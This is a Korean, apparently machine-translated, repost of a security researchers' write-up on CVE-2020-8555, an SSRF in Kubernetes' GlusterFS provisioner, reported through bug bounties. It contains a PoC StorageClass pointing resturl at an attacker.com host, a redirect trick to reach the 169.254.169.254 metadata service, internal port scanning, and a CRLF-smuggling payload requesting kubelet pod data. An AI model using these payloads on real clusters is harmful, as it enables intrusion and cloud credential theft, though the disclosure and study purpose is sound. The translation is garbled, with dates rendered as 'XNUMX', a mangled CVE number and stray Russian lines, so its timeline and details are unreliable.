Kubernetes 취약점에 관한 것이 아닐 때...

메모. 번역: 이 기사의 저자는 취약점을 발견한 방법에 대해 자세히 설명합니다. CVE-2020~8555 쿠버네티스에서. 처음에는 별로 위험해 보이지 않았지만 다른 요인과 결합하여 일부 클라우드 제공업체에서는 그 중요성이 최대인 것으로 나타났습니다. 몇몇 조직에서는 전문가의 작업에 대해 관대하게 보상했습니다.

우리는 누구인가

우리는 Kubernetes의 취약점을 공동으로 발견한 두 명의 프랑스 보안 연구원입니다. 우리 이름은 Brice Augras와 Christophe Hauquiert이지만 많은 Bug Bounty 플랫폼에서는 각각 Reeverzax와 Hach로 알려져 있습니다.

• 브라이스 아우그라스 - 그룹 Asten 회사;
• 크리스토프 호퀴에트 - Nokia의 Kubernetes 설계자입니다.

무슨 일이 있었죠?

이 기사는 평범한 연구 프로젝트가 어떻게 예기치 않게 버그 사냥꾼의 삶에서 가장 흥미진진한 모험으로 변했는지 공유하는 방법입니다(적어도 현재로서는).

아시다시피 버그 사냥꾼에는 몇 가지 주목할만한 기능이 있습니다.

• 그들은 피자와 맥주를 먹고 산다.
• 그들은 다른 사람들이 자고 있을 때 일합니다.

우리도 이러한 규칙에서 예외는 아닙니다. 우리는 보통 주말에 만나서 잠 못 이루는 밤을 해킹으로 보냅니다. 그러나 어느 날 밤은 매우 특이한 방식으로 끝났습니다.

처음에 우리는 참여를 논의하기 위해 만날 예정이었습니다. CTF 다음날. 매니지드 서비스 환경에서의 쿠버네티스 보안에 대한 대화를 나누던 중 우리는 SSRF(서버측 요청 위조) 이를 공격 스크립트로 사용해 보기로 결정했습니다.

오후 11시에 우리는 연구를 하기 위해 자리에 앉았고 아침 일찍 잠자리에 들었고 결과에 매우 만족했습니다. 우리가 MSRC Bug Bounty 프로그램을 발견하고 권한 상승 공격을 생각해낸 것은 이 연구 덕분이었습니다.

몇 주/개월이 지났고 예상치 못한 결과로 Kubernetes에서 받은 보상에 더해 Azure Cloud Bug Bounty 역사상 가장 높은 보상 중 하나를 얻게 되었습니다!

우리의 연구 프로젝트를 기반으로 Kubernetes 제품 보안 위원회는 다음을 발표했습니다. CVE-2020~8555.

이제는 발견된 취약점에 대한 정보를 최대한 널리 알리고 싶습니다. infosec 커뮤니티의 다른 구성원과 기술 세부 사항을 찾아 공유해 주셔서 감사합니다!

그럼 우리 이야기는 이렇습니다...

문맥

무슨 일이 일어났는지 가장 잘 이해하기 위해 먼저 클라우드 관리 환경에서 Kubernetes가 어떻게 작동하는지 살펴보겠습니다.

이러한 환경에서 Kubernetes 클러스터를 인스턴스화할 때 관리 계층은 일반적으로 클라우드 공급자의 책임입니다.

제어 계층은 클라우드 제공업체의 경계에 위치하며, Kubernetes 노드는 고객의 경계에 위치합니다.

볼륨을 동적으로 할당하기 위해 외부 스토리지 백엔드에서 볼륨을 동적으로 프로비저닝하고 이를 PVC(영구 볼륨 요청, 즉 볼륨 요청)와 비교하는 메커니즘이 사용됩니다.

따라서 PVC가 생성되어 K8s 클러스터의 StorageClass에 바인딩된 후 볼륨을 제공하기 위한 추가 작업은 kube/cloud 컨트롤러 관리자가 수행합니다(정확한 이름은 릴리스에 따라 다름). (메모. 번역: 우리는 이미 클라우드 제공업체 중 하나의 구현 예를 사용하여 CCM에 대해 더 자세히 작성했습니다. 여기에.)

Kubernetes에서 지원하는 여러 유형의 프로비저너가 있습니다. 대부분은 오케스트레이터 코어, 나머지는 클러스터의 포드에 배치된 추가 프로비저너에 의해 관리됩니다.

연구에서 우리는 아래에 설명된 내부 볼륨 프로비저닝 메커니즘에 중점을 두었습니다.

내장된 Kubernetes 프로비저너를 사용하여 볼륨을 동적으로 프로비저닝

즉, Kubernetes가 관리형 환경에 배포되면 컨트롤러 관리자는 클라우드 공급자의 책임이지만 볼륨 생성 요청(위 다이어그램의 3번)은 클라우드 공급자의 내부 네트워크를 떠납니다. 그리고 이것이 정말 흥미로운 부분입니다!

해킹 시나리오

이 섹션에서는 위에서 언급한 워크플로를 활용하고 클라우드 서비스 공급자의 내부 리소스에 액세스하는 방법을 설명합니다. 또한 내부 자격 증명 획득 또는 권한 상승과 같은 특정 작업을 수행하는 방법도 보여줍니다.

한 가지 간단한 조작(이 경우 서비스측 요청 위조)은 클라이언트 환경을 넘어 관리되는 K8 아래의 다양한 서비스 공급자 클러스터로 이동하는 데 도움이 되었습니다.

연구에서 우리는 GlusterFS 프로비저너에 중점을 두었습니다. 이 맥락에서 추가 작업 순서가 설명되어 있음에도 불구하고 Quobyte, StorageOS 및 ScaleIO는 동일한 취약점에 취약합니다.

동적 볼륨 프로비저닝 메커니즘의 남용

스토리지 클래스 분석 중 GlusterFS Golang 클라이언트 소스 코드에서 우리는 알아 차 렸던볼륨 생성 중에 전송된 첫 번째 HTTP 요청(3)에서 매개변수의 사용자 정의 URL 끝까지 resturl 추가되었습니다 /volumes.

우리는 다음을 추가하여 이 추가 경로를 제거하기로 결정했습니다. # 매개변수에서 resturl. 다음은 반맹검 SSRF 취약점을 테스트하는 데 사용한 첫 번째 YAML 구성입니다. (예를 들어 반맹검 또는 반맹검 SSRF에 대한 자세한 내용을 읽을 수 있습니다. 여기에 - 대략. 번역):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

그런 다음 바이너리를 사용하여 Kubernetes 클러스터를 원격으로 관리했습니다. 쿠 베틀. 일반적으로 클라우드 공급자(Azure, Google, AWS 등)를 통해 이 유틸리티에 사용할 자격 증명을 얻을 수 있습니다.

덕분에 '특별한' 파일을 사용할 수 있었습니다. Kube-controller-manager는 결과 HTTP 요청을 실행했습니다.

kubectl create -f sc-poc.yaml

공격자 관점의 답변

그 직후 다음 명령을 통해 대상 서버로부터 HTTP 응답을 수신할 수도 있었습니다. describe pvc 또는 get events kubectl에서. 실제로 이 기본 Kubernetes 드라이버는 경고/오류 메시지가 너무 장황합니다...

다음은 링크가 포함된 예입니다. https://www.google.fr매개변수로 설정 resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

이 접근 방식에서는 다음과 같은 쿼리로 제한되었습니다. HTTP 포스트 반환 코드가 다음과 같은 경우 응답 본문의 내용을 가져올 수 없습니다. 201. 따라서 우리는 추가 연구를 수행하고 새로운 접근 방식으로 이 해킹 시나리오를 확장하기로 결정했습니다.

우리 연구의 발전

• 고급 시나리오 #1: 외부 서버에서 302 리디렉션을 사용하여 HTTP 방법을 변경하여 내부 데이터를 수집하는 보다 유연한 방법을 제공합니다.
• 고급 시나리오 #2: LAN 검색 및 내부 리소스 검색을 자동화합니다.
• 고급 시나리오 #3: HTTP CRLF + 밀수(“요청 밀수”)를 사용하여 맞춤형 HTTP 요청을 생성하고 kube-controller 로그에서 추출된 데이터를 검색합니다.

기술 사양

• 이번 연구에서는 북유럽 지역에서 Kubernetes 버전 1.12와 함께 AKS(Azure Kubernetes Service)를 사용했습니다.
• 위에 설명된 시나리오는 세 번째 시나리오를 제외하고 Kubernetes의 최신 릴리스에서 실행되었습니다. 그는 Golang 버전 ≤ 1.12로 구축된 Kubernetes가 필요했습니다.
• 공격자의 외부 서버 - https://attacker.com.

고급 시나리오 #1: HTTP POST 요청을 GET으로 리디렉션하고 민감한 데이터 수신

원래 방법은 공격자의 서버를 반환하도록 구성하여 개선되었습니다. 302 HTTP 리트코드POST 요청을 GET 요청으로 변환하려면(다이어그램의 4단계):

클라이언트에서 오는 첫 번째 요청(3) GlusterFS (컨트롤러 관리자)에는 POST 유형이 있습니다. 다음 단계를 수행하여 이를 GET으로 전환할 수 있었습니다.

• 매개변수로 resturl StorageClass에서는 다음과 같이 표시됩니다. http://attacker.com/redirect.php.
• 종점 https://attacker.com/redirect.php 다음 위치 헤더가 포함된 302 HTTP 상태 코드로 응답합니다. http://169.254.169.254. 이는 다른 내부 리소스일 수 있습니다. 이 경우 리디렉션 링크는 예시로만 사용됩니다.
• 기본적으로 net/http 라이브러리 Golang은 요청을 리디렉션하고 POST를 302 상태 코드를 사용하여 GET으로 변환하여 대상 리소스에 대한 HTTP GET 요청을 생성합니다.

HTTP 응답 본문을 읽으려면 다음을 수행해야 합니다. describe PVC 개체:

kubectl describe pvc xxx

다음은 우리가 수신할 수 있었던 JSON 형식의 HTTP 응답의 예입니다.

당시 발견된 취약점의 성능은 다음과 같은 이유로 제한되었습니다.

• 나가는 요청에 HTTP 헤더를 삽입할 수 없습니다.
• 본문에 매개변수가 포함된 POST 요청을 수행할 수 없음(이는 실행 중인 etcd 인스턴스에서 키 값을 요청하는 데 편리함) 2379 암호화되지 않은 HTTP가 사용되는 경우 포트).
• 상태 코드가 200이고 응답에 JSON 콘텐츠 유형이 없으면 응답 본문 콘텐츠를 검색할 수 없습니다.

고급 시나리오 #2: 로컬 네트워크 검색

그런 다음 이 반맹검 SSRF 방법을 사용하여 클라우드 공급자의 내부 네트워크를 스캔하고 응답을 기반으로 다양한 청취 서비스(메타데이터 인스턴스, Kubelet 등)를 폴링했습니다. 큐브 컨트롤러.

먼저 Kubernetes 구성 요소의 표준 수신 포트(8443, 10250, 10251 등)를 결정한 다음 검색 프로세스를 자동화해야 했습니다.

리소스를 검색하는 이 방법은 매우 구체적이고 기존 스캐너 및 SSRF 도구와 호환되지 않는다는 점을 확인하여 전체 프로세스를 자동화하는 bash 스크립트에서 자체 작업자를 만들기로 결정했습니다.

예를 들어 내부 네트워크의 172.16.0.0/12 범위를 빠르게 스캔하기 위해 15개의 워커가 병렬로 시작되었습니다. 위 IP 범위는 예시일 뿐이며 특정 서비스 제공업체의 IP 범위에 따라 변경될 수 있습니다.

하나의 IP 주소와 하나의 포트를 스캔하려면 다음을 수행해야 합니다.

• 마지막으로 확인한 StorageClass를 삭제합니다.
• 이전에 확인된 영구 볼륨 신청을 제거합니다.
• IP 및 포트 값을 변경하십시오. sc.yaml;
• 새로운 IP와 포트로 StorageClass를 생성합니다.
• 새로운 PVC를 생성합니다.
• PVC에 대한 설명을 사용하여 스캔 결과를 추출합니다.

고급 시나리오 #3: CRLF 주입 + Kubernetes 클러스터의 "이전" 버전에서 HTTP 밀수

이 외에도 공급자가 클라이언트에게 K8s 클러스터의 이전 버전을 제공한 경우 и kube-controller-manager의 로그에 대한 액세스 권한을 부여하자 그 효과는 훨씬 더 커졌습니다.

공격자가 재량에 따라 전체 HTTP 응답을 얻도록 설계된 HTTP 요청을 변경하는 것이 실제로 훨씬 더 편리합니다.

마지막 시나리오를 구현하려면 다음 조건이 충족되어야 했습니다.

• 사용자는 kube-controller-manager 로그에 대한 액세스 권한이 있어야 합니다(예: Azure LogInsights에서).
• Kubernetes 클러스터는 1.12보다 낮은 Golang 버전을 사용해야 합니다.

GlusterFS Go 클라이언트와 가짜 대상 서버 간의 통신을 시뮬레이션하는 로컬 환경을 배포했습니다(당분간 PoC 게시는 자제하겠습니다).

발견 취약점, 1.12보다 낮은 Golang 버전에 영향을 미치고 해커가 HTTP 밀수/CRLF 공격을 수행할 수 있도록 허용합니다.

위에서 설명한 하프 블라인드 SSRF를 결합하여 вместе 이를 통해 우리는 헤더, HTTP 메소드, 매개변수 및 데이터 교체를 포함하여 원하는 대로 요청을 보낼 수 있었고 이를 kube-controller-manager가 처리했습니다.

다음은 매개변수에서 작동하는 "미끼"의 예입니다. resturl 유사한 공격 시나리오를 구현하는 StorageClass:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

결과는 오류입니다 원치 않는 응답, 컨트롤러 로그에 기록되는 메시지입니다. 기본적으로 활성화된 자세한 정보 덕분에 HTTP 응답 메시지의 내용도 여기에 저장됩니다.

이는 개념 증명 프레임워크 내에서 가장 효과적인 "미끼"였습니다.

이 접근 방식을 사용하여 다양한 관리형 k8s 공급자의 클러스터에 대해 다음과 같은 공격 중 일부를 수행할 수 있었습니다. 메타데이터 인스턴스에 대한 자격 증명을 사용한 권한 상승, etcd 마스터 인스턴스에 대한 (암호화되지 않은) HTTP 요청을 통한 마스터 DoS 등.

여파

우리가 발견한 SSRF 취약점에 관한 Kubernetes 공식 성명에서는 등급이 매겨졌습니다. CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kubernetes 경계와 관련된 취약점만 고려하면 무결성 벡터 (무결성 벡터) 그것은 다음과 같은 자격이 있습니다 없음.

그러나 관리형 서비스 환경의 맥락에서 발생할 수 있는 결과를 평가한 결과(이것이 우리 연구에서 가장 흥미로운 부분이었습니다!) 취약성을 등급으로 재분류하게 되었습니다. 중요 CVSS10/10 많은 유통업체를 위해.

다음은 클라우드 환경의 잠재적 영향을 평가할 때 고려 사항을 이해하는 데 도움이 되는 추가 정보입니다.

무결성

• 획득한 내부 자격 증명을 사용하여 원격으로 명령을 실행합니다.
• 로컬 네트워크에서 발견된 다른 리소스와 함께 IDOR(Insecure Direct Object Reference) 방법을 사용하여 위 시나리오를 재현합니다.

Конфиденциальность

• 공격 유형 측면 운동 클라우드 자격 증명(예: 메타데이터 API) 도난으로 인해 발생합니다.
• 로컬 네트워크를 스캔하여 정보를 수집합니다(SSH 버전, HTTP 서버 버전 등 확인).
• 메타데이터 API와 같은 내부 API를 폴링하여 인스턴스 및 인프라 정보를 수집합니다(http://169.254.169.254,…).
• 클라우드 자격 증명을 사용하여 고객 데이터를 훔칩니다.

가용성

공격 벡터와 관련된 모든 악용 시나리오 진실성, 파괴적인 작업에 사용될 수 있으며 클라이언트 경계(또는 기타)의 마스터 인스턴스를 사용할 수 없게 될 수 있습니다.

우리는 관리형 K8s 환경에서 무결성에 대한 영향을 평가했기 때문에 가용성에 영향을 미칠 수 있는 많은 시나리오를 상상할 수 있습니다. 추가 예로는 etcd 데이터베이스 손상 또는 Kubernetes API에 대한 중요한 호출이 포함됩니다.

타임 라인

• 6년 2019월 XNUMX일: 취약성이 MSRC Bug Bounty에 보고되었습니다.
• 3년 2020월 XNUMX일: 제XNUMX자가 Kubernetes 개발자에게 우리가 보안 문제를 해결하기 위해 노력하고 있다고 알렸습니다. 그리고 SSRF를 내부(핵심) 취약점으로 간주하도록 요청했습니다. 그런 다음 문제의 원인에 대한 기술적인 세부 정보가 포함된 일반 보고서를 제공했습니다.
• 15년 2020월 XNUMX일: Kubernetes 개발자의 요청에 따라 HackerOne 플랫폼을 통해 기술 및 일반 보고서를 제공했습니다.
• 15년 2020월 8일: Kubernetes 개발자는 이전 릴리스의 반맹검 SSRF + CRLF 주입이 핵심 취약점으로 간주된다는 사실을 우리에게 알렸습니다. 우리는 즉시 다른 서비스 제공업체의 경계 분석을 중단했습니다. 이제 KXNUMXs 팀이 근본 원인을 처리하고 있었습니다.
• 15년 2020월 XNUMX일: HackerOne을 통해 MSRC 보상을 받았습니다.
• 16년 2020월 XNUMX일: Kubernetes PSC(제품 보안 위원회)는 취약점을 인식하고 잠재적 피해자가 많으므로 XNUMX월 중순까지 비밀로 유지해 줄 것을 요청했습니다.
• 11년 2020월 XNUMX일: Google VRP 보상을 받았습니다.
• 4년 2020월 XNUMX일: HackerOne을 통해 Kubernetes 보상을 받았습니다.
• 15년 2020월 19일: 코로나XNUMX 상황으로 인해 원래 공개 예정이었던 공개가 연기되었습니다.
• 1년 2020월 XNUMX일: 취약성에 대한 Kubernetes + Microsoft 공동 성명.

TL; DR

• 맥주도 마시고 피자도 먹고 :)
• 우리는 그렇게 할 의도가 없었지만 Kubernetes에서 핵심 취약점을 발견했습니다.
• 우리는 다양한 클라우드 제공업체의 클러스터에 대한 추가 분석을 수행했으며 취약점으로 인한 피해를 증가시켜 추가적인 멋진 보너스를 받을 수 있었습니다.
• 이 기사에서 많은 기술적 세부 사항을 찾을 수 있습니다. 우리는 당신과 함께 이 문제에 대해 기꺼이 논의할 것입니다(Twitter: @ReeverZax & @__hach_).
• 모든 종류의 절차와 보고에 예상보다 훨씬 오랜 시간이 걸렸다는 사실이 밝혀졌습니다.

참조

• Google 그룹 kubernetes-security-announce;
• CVE-2020-8555;
• 골랭 문제 #30794;
• heketi/client/api/go-client/volume.go.

번역가의 추신

블로그에서도 읽어보세요.

• «Kubernetes 버그 헌트가 공식적으로 시작되었습니다.";
• «로그를 마운트하여 Kubernetes에서 Pod 종료";
• «33개 이상의 Kubernetes 보안 도구".

출처 : habr.com